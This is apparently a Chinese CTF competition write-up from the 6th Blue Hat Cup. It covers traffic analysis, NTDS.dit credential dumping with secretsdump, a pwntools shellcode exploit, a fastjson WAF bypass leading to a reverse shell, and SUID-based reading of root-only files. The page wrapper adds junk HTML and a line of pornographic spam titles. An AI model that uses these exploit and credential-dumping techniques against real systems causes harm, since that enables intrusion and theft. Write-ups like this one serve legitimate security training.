<kbd id="afajh"><form id="afajh"></form></kbd>
<strong id="afajh"><dl id="afajh"></dl></strong>
    <del id="afajh"><form id="afajh"></form></del>
        1. <th id="afajh"><progress id="afajh"></progress></th>
          <b id="afajh"><abbr id="afajh"></abbr></b>
          <th id="afajh"><progress id="afajh"></progress></th>

          第六屆藍(lán)帽杯WP(總榜第4名)

          共 10315字,需瀏覽 21分鐘

           ·

          2022-07-11 18:11

          本文來自“白帽子社區(qū)知識(shí)星球”

          作者:WHT戰(zhàn)隊(duì)



          白帽子社區(qū)知識(shí)星球

          加入星球,共同進(jìn)步


          WHT戰(zhàn)隊(duì)招新:


          • WHT戰(zhàn)隊(duì)歡迎對(duì)CTF有濃厚興趣的師傅加入我們。

          • 有半年以上CTF競(jìng)賽經(jīng)驗(yàn)的。

          • 包括但不限于Web、Misc、Reverse、Crypto、Pwn等各方向的CTFer加入。

          • 加分項(xiàng):有一年以上CTF競(jìng)賽經(jīng)驗(yàn)的各方向CTFer。


            有意向的師傅請(qǐng)掃描二維碼聯(lián)系我們

          01

          Misc


          Misc1 domainhacker2


          導(dǎo)出http對(duì)象,發(fā)現(xiàn)1.rar要密碼,一個(gè)一個(gè)包分析,在第50條流量中找到密碼,




          看form item中的php代碼,"q8fb9d4c082c11"的值從第二位開始進(jìn)行base64解碼,



          得到密碼為SecretsPassw0rds




          解壓壓縮包,得到flag

          Flag:flag{ 416f89c3a5deb1d398a1a1fce93862a7}



          Misc2 domainhacker


          同第一題一樣,先找壓縮包密碼 

          Y2QgL2QgImM6XFxXaW5kb3dzXFxUZW1wIiZyYXIuZXhlIGEgLVBGYWtlUGFzc3dvcmQxMjMkIG50ZHMucmFyIG5ldyZlY2hvIDFkMzYzMiZjZCZlY2hvIDc4YmM0NjJhYg%3D%3D




          base64解密,得到壓縮包密碼




          解密ntds.rar壓縮包

          secretdump.py破解Ntds.dit密碼

          腳本下載地址:

          https://github.com/SecureAuthCorp/impacket/blob/master/examples/secretsdump.py


          安裝依賴:pip3 install impacket

          運(yùn)行:


          python secretdump.py -security SECURITY -system SYSTEM -ntds ntds.dit -user-status -pwd-last-set -history local > 1.txt




          Flag值

          flag{07ab403ab740c1540c378b0f5aaa4087}


          02

          Pwn

          PWN2 EscapeShellcode


          拿到題目后



          程序有五個(gè)函數(shù)

          Init_io 初始化輸入輸出流



          給了一塊可執(zhí)行空間



          在這塊空間中寫了一些deadbeef的東西,后面調(diào)試發(fā)現(xiàn)是將寄存器全部賦值為deadbeef



          Init_flag將flag讀到內(nèi)存中



          Sandbox開了沙盒



          只能用read、write

          Go就是讀shellcode然后執(zhí)行



          Flag已經(jīng)讀取到內(nèi)存中了,但是地址不清楚,所以可以先找到可讀的那一頁,然后加上flag的偏移,然后write出來

          唯一能用的只有rip寄存器的值,所以通過rip寄存器去找可讀的頁,判斷返回值eax的值來確定是否write成功

          mov edi, 1lea rsi, [rip-0x400000]and rsi, 0xfffffffff0000000mov edx, 0x50A1:add rsi, 0x1000mov eax, 1syscalltest eax, eaxjng A1


          然后加上flag的偏移


          from pwn import *


          # sh = process("./escape_shellcode")
          ip = '39.106.154.121'
          port = 15595
          sh = remote(ip, port)
          context.log_level = 'debug'
          context.os = 'linux'
          context.arch = 'amd64'


          sc = '''
          mov edi, 1
          lea rsi, [rip-0x400000]
          and rsi, 0xfffffffff0000000
          mov edx, 0x50
          A1:
          add rsi, 0x1000
          mov eax, 1
          syscall
          test eax, eax
          jng A1
          add rsi, 0x4120
          mov rdx, 0x300
          mov edi, 1
          mov eax, 1
          syscall
          '''
          print(sc)
          pay = asm(sc)
          # gdb.attach(sh, 'b *$rebase(0x1367)')
          # pause()
          sh.sendline(pay)

          # sleep(3)
          sh.interactive()


          flag值:

          flag{d299f035-1af2-4815-9c5b-bebf71ed0cd0}


          03

          電子取證

          手機(jī)取證1


          根據(jù)題目描述,搜索627604C2-C586-48C1-AA16-FF33C3022159,導(dǎo)出數(shù)據(jù)文件



          右鍵熟悉,查看分辨率即可



          Flag:360x360


          手機(jī)取證2


          搜索關(guān)鍵詞“單號(hào)”即可


          Flag:SF1142358694796


          計(jì)算機(jī)取證1


          利用volitility分析出密文,在somd5解密得到密碼

          Flag:anxinqi


          計(jì)算機(jī)取證2


          Volitility pslist列出進(jìn)程可以找到magnet-ram-capture程序



          Flag:2192


          計(jì)算機(jī)取證3


          打開檢材,需要BitLocker解密,用取證小程序得到密鑰


          在重新載入檢材,找到滲透看取證PPT和pass.txt


          使用passwarekit爆破,得到密碼密碼為287fuweiuhfiute,打開ppt得到flag




          計(jì)算機(jī)取證4


          在做上一題的時(shí)候,看到一個(gè)意思TrueCrypt的加密文件,導(dǎo)出看


          同的可以直接使用passwarekit解密,得到一個(gè)新建文本文件-unprotected.txt



          然后繼續(xù)使用取證大師到處,證據(jù)分析


          得到一個(gè)哈哈哈.zip文件,導(dǎo)出

          使用ARCHPR 6位數(shù)字爆破


          得到密碼:991314,解壓得到flag

          flag{1349934913913991394cacacacacacc}


          程序分析1


          利用appt工具分析得到包名


          Flag:exec.azj.kny.d.c


          程序分析2


          用aapt工具進(jìn)行分析得到入口類



          Flag:minmtta.hemjcbm.ahibyws.MainActivity


          程序分析3



          Base64解碼可以得到一個(gè)網(wǎng)址,https://ansjk.ecxeio.xyz



          程序分析4


          在MainActivity下發(fā)現(xiàn)super方法,



          跟進(jìn),有幾個(gè)類,在a類中有環(huán)境檢測(cè)的代碼



          Flag:a


          網(wǎng)站取證1


          存在后門,用D盾掃



          Flag:lanmaobei666


          網(wǎng)站取證2


          sublime搜索database關(guān)鍵字



          查看文件發(fā)現(xiàn)password值為一函數(shù)返回值,在線php運(yùn)行得到flag



          Flag:KBLT123


          網(wǎng)站取證3


          金額被加密了,搜索關(guān)鍵字encrypt,找到Channelorder文件,發(fā)現(xiàn)是對(duì)money加密的,



          Flag:jyzg123456


          網(wǎng)站取證4


          找到王子豪和張寶的ID



          收付款是按ID分的



          但后面轉(zhuǎn)賬的金額在channelorder.php中被加密了,



          寫解密腳本:


          $data="nJ1xlG5v";$str1=base64_decode($data);$len=strlen($str1);$s='';$key = md5('jyzg123456');$char = '';$x=0;$l = strlen($key);for ($i = 0; $i < 32; $i++)       {if ($x == $l)           {$x = 0; }            $char .= $key{$x};            $x++;}for ($i = 0; $i < $len; $i++)       {$s.=chr(ord($str{$i}) - (ord($char{$i})));        echo(ord($str{$i}));        echo "  ";        echo(ord($char{$i}));        echo "";}print($s);?>

          在計(jì)算稅額



          根據(jù)時(shí)間累加金額得到flag

          Flag:15758353.7

          04

          ?web

          Ez_gadget


          1.下載附件反編譯:得到路由


           



          2.繞過hashcode:直接寫腳本碰撞得到另一個(gè)字符串的值,將其加密。

          def test(str1):    h = 0    for i in range(len(str1)):        h = 31*h+ord(str1[i])    value = h    result = ""    for i in str1[::-1]:        for j in range(31,128):            if (value-j)%31 ==0:                result+=chr(j)                value = (value-j)//31                break        if value < 128:            result+=chr(j)            break    return result[::-1]print(test(input("key:")))

          3.接下來就是繞過fastjsonwaf,通過Unicode編碼繞過,然后反彈shell



          4.提示說flag.txtroot下,反彈回來的是ctf用戶,顯然需要提權(quán)。查找定時(shí)任務(wù),沒有發(fā)現(xiàn)可以利用的,查找suid文件

          find / -perm -u=s -type f 2>/dev/null


          5.發(fā)現(xiàn)存在date命令可以用來讀取文件,得到flag

          /bin/date -f /root/flag.txt


          05

          Rever

          Loader


          題目提示是載入程序,先查殼:



          無殼64位程序,放ida64分析:



          主函數(shù)很簡(jiǎn)單獨(dú)立了一個(gè)新的虛擬內(nèi)存,權(quán)限可讀可寫可執(zhí)行,作為后面新程序的一個(gè)引導(dǎo),根據(jù)后面給的內(nèi)存地址,將被引導(dǎo)的程序dump下來,運(yùn)行后發(fā)現(xiàn)啥也沒有




          Exeinfo發(fā)現(xiàn)nt頭有問題




          用010editor打開可以看到pe的文件頭和可選頭都是i386,主程序是64位,修改文件頭和可選頭的值




          就可以正常運(yùn)行了



          放入ida繼續(xù)分析,嘗試查找字符串定位關(guān)鍵代碼,但是交叉引用看不了,于是動(dòng)調(diào)定位到代碼:



          函數(shù)做的一個(gè)大數(shù)運(yùn)算,直接建立方程解flag


          int sub_852850(){  FILE *v0; // rax  __int64 v1; // rax  __int64 v2; // rdx  _QWORD *v3; // rsi  __int64 v4; // rdi  __int64 v5; // rbx  _QWORD *v6; // rax  _QWORD *v7; // rdi  __int64 v8; // rdx  _QWORD *v9; // rax  unsigned __int64 *v11; // rsi  __int64 v12; // rbx  __int64 v13; // rcx  _QWORD *v14; // rbp  __int64 v15; // rdx  unsigned __int64 v16; // rdi  __int64 v17; // rbx  unsigned __int64 *v18; // rbp  __int64 v19; // rdx  _QWORD *v20; // rax  __int64 v21; // rcx  _QWORD *v22; // rdi  __int64 v23; // rdx  unsigned __int64 v24; // rsi  __int64 v25; // rdi  __int64 v26; // rdx  unsigned __int64 v27; // rcx  __m128i v28; // xmm4  __int64 v29; // rdi  __int64 v30; // rdx  unsigned __int64 v31; // rcx  __m128i v32; // [rsp+20h] [rbp-78h] BYREF  __m128i v33; // [rsp+30h] [rbp-68h] BYREF  __int64 v34; // [rsp+40h] [rbp-58h] BYREF  __int64 v35; // [rsp+48h] [rbp-50h]  __m128i v36; // [rsp+50h] [rbp-48h] BYREF  __int64 v37; // [rsp+60h] [rbp-38h] BYREF  __int64 v38; // [rsp+68h] [rbp-30h]
          nimRegisterGlobalMarker(sub_8527A0); nimRegisterGlobalMarker(sub_852790); nimRegisterGlobalMarker(sub_852780); nimRegisterGlobalMarker(sub_852770); nimRegisterGlobalMarker(sub_852760); nimRegisterGlobalMarker(sub_852750); nimRegisterGlobalMarker(sub_852740); nimRegisterGlobalMarker(sub_852730); nimRegisterGlobalMarker(sub_852720); printf_0(off_856DC8, 1i64); // 輸出提示“plz input your flag(format: flag{decimal number})” v0 = (FILE *)off_8550C0(0i64); v1 = scanf(v0); v3 = (_QWORD *)v1;if ( v1 ) *(_QWORD *)(v1 - 16) += 8i64;if ( qword_86C1C0 ) { v4 = *(_QWORD *)(qword_86C1C0 - 16); v2 = qword_86C1C0 - 16; *(_QWORD *)(qword_86C1C0 - 16) = v4 - 8;if ( (unsigned __int64)(v4 - 8) <= 7 ) sub_846540(&qword_861F80 + 3, v2); } qword_86C1C0 = (__int64)v3; v5 = 0i64; v6 = (_QWORD *)sub_848FC0(5i64, v2); v7 = v6;if ( !v6 ) {if ( v3 ) sub_84C420(0i64, -1i64); sub_84C420(0i64, -1i64); }if ( !v3 ) {if ( !*v6 ) sub_84C420(0i64, -1i64); sub_84C420(0i64, -1i64); } do {if ( *v6 <= (unsigned __int64)v5 ) sub_84C420(v5, *v6 - 1i64); v8 = *v3;if ( *v3 <= (unsigned __int64)v5 ) sub_84C420(v5, v8 - 1); *((_BYTE *)v6 + v5 + 16) = *((_BYTE *)v3 + v5 + 16); ++v5; } while ( v5 <= 4 );if ( *v6 != 5i64 )goto LABEL_15; v9 = v6 + 2;if ( *((_DWORD *)v7 + 4) != 'galf' )goto LABEL_15;if ( *((_BYTE *)v9 + 4) != '{' )goto LABEL_15; v11 = (unsigned __int64 *)qword_86C1C0;if ( !qword_86C1C0 || *(_QWORD *)qword_86C1C0 != 42i64 || *(_BYTE *)(qword_86C1C0 + 57) != '}' )// 判斷flag長(zhǎng)度是否為42goto LABEL_15; v12 = 0i64; v14 = (_QWORD *)sub_848FC0(18i64, v8);if ( !v14 ) sub_84C420(0i64, -1i64); do { v15 = *v14;if ( *v14 <= (unsigned __int64)v12 ) sub_84C420(v12, v15 - 1); v16 = v12 + 5;if ( v12 + 5 < 0 || v16 < v12 ) sub_847F70(v13, v15);if ( *v11 <= v16 ) sub_84C420(v12 + 5, *v11 - 1); *((_BYTE *)v14 + v12++ + 16) = *((_BYTE *)v11 + v16 + 16); } while ( v12 <= 17 ); // 以18位進(jìn)行拆分 v17 = 0i64; sub_851340(v14, 10i64, &xmmword_86C170); v18 = (unsigned __int64 *)qword_86C1C0; v20 = (_QWORD *)sub_848FC0(18i64, v19); v22 = v20;if ( !v20 ) {if ( v18 ) sub_84C420(0i64, -1i64); sub_84C420(0i64, -1i64); }if ( !v18 ) {if ( !*v20 ) sub_84C420(0i64, -1i64); sub_84C420(23i64, -1i64); } do { v23 = *v22;if ( *v22 <= (unsigned __int64)v17 ) sub_84C420(v17, v23 - 1); v24 = v17 + 23;if ( v17 + 23 < 0 || v24 < v17 ) sub_847F70(v21, v23);if ( *v18 <= v24 ) sub_84C420(v17 + 23, *v18 - 1); *((_BYTE *)v22 + v17++ + 16) = *((_BYTE *)v18 + v24 + 16); } while ( v17 <= 17 ); sub_851340(v22, 10i64, &xmmword_86C130); sub_851340(&unk_856D80, 10i64, &xmmword_86C150); sub_851340(&unk_856D40, 10i64, &xmmword_86C160); v33 = _mm_loadu_si128((const __m128i *)&xmmword_86C150); v32 = _mm_loadu_si128((const __m128i *)&xmmword_86C170);// 值對(duì)比if ( !(unsigned __int8)sub_852080(&v33, &v32) )goto LABEL_15; v33 = _mm_loadu_si128((const __m128i *)&xmmword_86C170); v32 = _mm_loadu_si128((const __m128i *)&xmmword_86C160);// 值對(duì)比if ( !(unsigned __int8)sub_852080(&v33, &v32) )goto LABEL_15; v34 = 0i64; v35 = 0i64; v33 = (__m128i)xmmword_86C170; v32 = (__m128i)xmmword_86C170; sub_851270(&v33, &v32, &v34); v25 = v34;if ( v34 ) *(_QWORD *)(v34 - 16) += 8i64;if ( (_QWORD)xmmword_86C190 ) { v26 = xmmword_86C190 - 16; v27 = *(_QWORD *)(xmmword_86C190 - 16) - 8i64; *(_QWORD *)(xmmword_86C190 - 16) = v27;if ( v27 <= 7 ) sub_846540(&qword_861F80 + 3, v26); } *(_QWORD *)&xmmword_86C190 = v25; v36 = 0ui64; BYTE8(xmmword_86C190) = v35; v33 = (__m128i)xmmword_86C130; v32 = (__m128i)xmmword_86C130; sub_851270(&v33, &v32, &v36); v28 = _mm_load_si128(&v36); v37 = 0i64; v38 = 0i64; v33 = v28; sub_852260(&v33, 11i64, &v37); v29 = v37;if ( v37 ) *(_QWORD *)(v37 - 16) += 8i64;if ( (_QWORD)xmmword_86C120 ) { v30 = xmmword_86C120 - 16; v31 = *(_QWORD *)(xmmword_86C120 - 16) - 8i64; *(_QWORD *)(xmmword_86C120 - 16) = v31;if ( v31 <= 7 ) sub_846540(&qword_861F80 + 3, v30); } *(_QWORD *)&xmmword_86C120 = v29; v33 = _mm_loadu_si128((const __m128i *)&xmmword_86C190); BYTE8(xmmword_86C120) = v38; v32 = _mm_loadu_si128((const __m128i *)&xmmword_86C120); sub_8523C0(&v33, &v32, &xmmword_86C1A0); sub_851340(&unk_856D10, 10i64, &xmmword_86C180); v33 = _mm_loadu_si128((const __m128i *)&xmmword_86C1A0); v32 = _mm_loadu_si128((const __m128i *)&xmmword_86C180);if ( (unsigned __int8)sub_852500(&v33, &v32) ) { qword_85A660 = 1i64; }else {LABEL_15:if ( qword_85A660 != 1 )return printf_0(off_856CC0, 1i64); }return printf_0(off_856CE8, 1i64);}


          就是一個(gè)佩爾公式這里直接解方程




          獲得flag:flag{118936021352508390035860559716724409}


          如果覺得本文不錯(cuò)的話,歡迎加入知識(shí)星球,星球內(nèi)部設(shè)立了多個(gè)技術(shù)版塊,目前涵蓋“WEB安全”、“內(nèi)網(wǎng)滲透”、“CTF技術(shù)區(qū)”、“漏洞分析”、“工具分享”五大類,還可以與嘉賓大佬們接觸,在線答疑、互相探討。



          ▼掃碼關(guān)注白帽子社區(qū)公眾號(hào)&加入知識(shí)星球▼


          瀏覽 170
          點(diǎn)贊
          評(píng)論
          收藏
          分享

          手機(jī)掃一掃分享

          分享
          舉報(bào)
          評(píng)論
          圖片
          表情
          推薦
          點(diǎn)贊
          評(píng)論
          收藏
          分享

          手機(jī)掃一掃分享

          分享
          舉報(bào)
          <kbd id="afajh"><form id="afajh"></form></kbd>
          <strong id="afajh"><dl id="afajh"></dl></strong>
            <del id="afajh"><form id="afajh"></form></del>
                1. <th id="afajh"><progress id="afajh"></progress></th>
                  <b id="afajh"><abbr id="afajh"></abbr></b>
                  <th id="afajh"><progress id="afajh"></progress></th>
                  亚洲欧洲在线免费观看 | 成人在线观看毛片 | 又污又黄的网站 | 偷拍视频综合网 | 一级黄色免费观看 |